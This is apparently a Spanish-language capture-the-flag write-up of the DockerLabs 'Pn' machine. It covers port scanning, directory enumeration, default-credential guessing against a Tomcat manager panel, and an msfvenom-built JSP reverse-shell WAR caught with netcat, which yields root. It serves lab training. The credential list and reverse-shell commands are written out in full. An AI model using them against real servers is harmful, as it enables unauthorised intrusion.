miguel@home:~$

Pn - DockerLabs

OS Dificultad Creator
Linux Fácil El Pingüino de Mario

Reconocimiento Inicial

Comenzamos el proceso de reconocimiento identificando los puertos abiertos en el sistema objetivo.

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG ports
  • -p-: Escanea todos los puertos (1-65535).
  • --open: Solo muestra los puertos abiertos.
  • -sS: Realiza un escaneo SYN, que es rápido y discreto.
  • --min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.
  • -n: No realiza resolución DNS.
  • -Pn: No realiza ping previo para determinar si el host está activo.
  • -vvv: Muestra resultados detallados y en tiempo real.

Resultado del escaneo

Durante el escaneo, descubrimos que el puerto abierto es:

  • 8080 (HTTP)

Enumeración de Servicios

A continuación, evaluamos si los puertos abiertos presentan alguna vulnerabilidad y obtenemos más información sobre los servicios asociados a estos puertos.

nmap -p8080 -sCV 172.17.0.2 -oG targeted

Resultado del escaneo con servicios

Exploración Web

Al navegar al puerto 8080, descubrimos un sitio web de Apache Tomcat en su versión 9.0.88.

Sitio web Tomcat

Reconocimiento de Directorios

Utilizamos Gobuster para realizar un reconocimiento web y explorar los directorios disponibles en el sitio.

gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,doc,html,txt,img
  • gobuster dir: Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.
  • -u http://172.17.0.2/: Especifica la URL objetivo que deseas escanear.
  • -w: Especifica el diccionario a utilizar.
  • -x: Indica los tipos de extensiones que deseas buscar.

Resultado de Gobuster

Intentos de Acceso con Credenciales por Defecto

El acceso al panel administrativo requería credenciales. Probamos varias combinaciones de usuario y contraseña por defecto:

Username Password
admin password
admin
admin Password1
admin password1
admin admin
admin tomcat
both tomcat
manager manager
role1 role1
role1 tomcat
role changethis
root Password1
root changethis
root password
root password1
root r00t
root root
root toor
tomcat tomcat
tomcat s3cret
tomcat password1
tomcat password
tomcat
tomcat admin
tomcat changethis

En este caso, las credenciales correctas fueron:

  • Usuario: tomcat
  • Contraseña: s3cr3t

Acceso al panel de Tomcat

Creación de Reverse Shell

Con acceso al panel, generamos una reverse shell utilizando un archivo malicioso .war creado con msfvenom.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=172.17.0.1 LPORT=4444 -f war -o revshell.war

Archivo malicioso generado

Subimos el archivo al servidor y simultáneamente escuchamos el puerto 4444 con netcat.

nc -lvnp 4444

Reverse shell activa

Escalada de Privilegios

Al acceder al sistema, ya tenemos permisos de root.

Acceso como root


Con esto completamos el ejercicio -Pn en DockerLabs.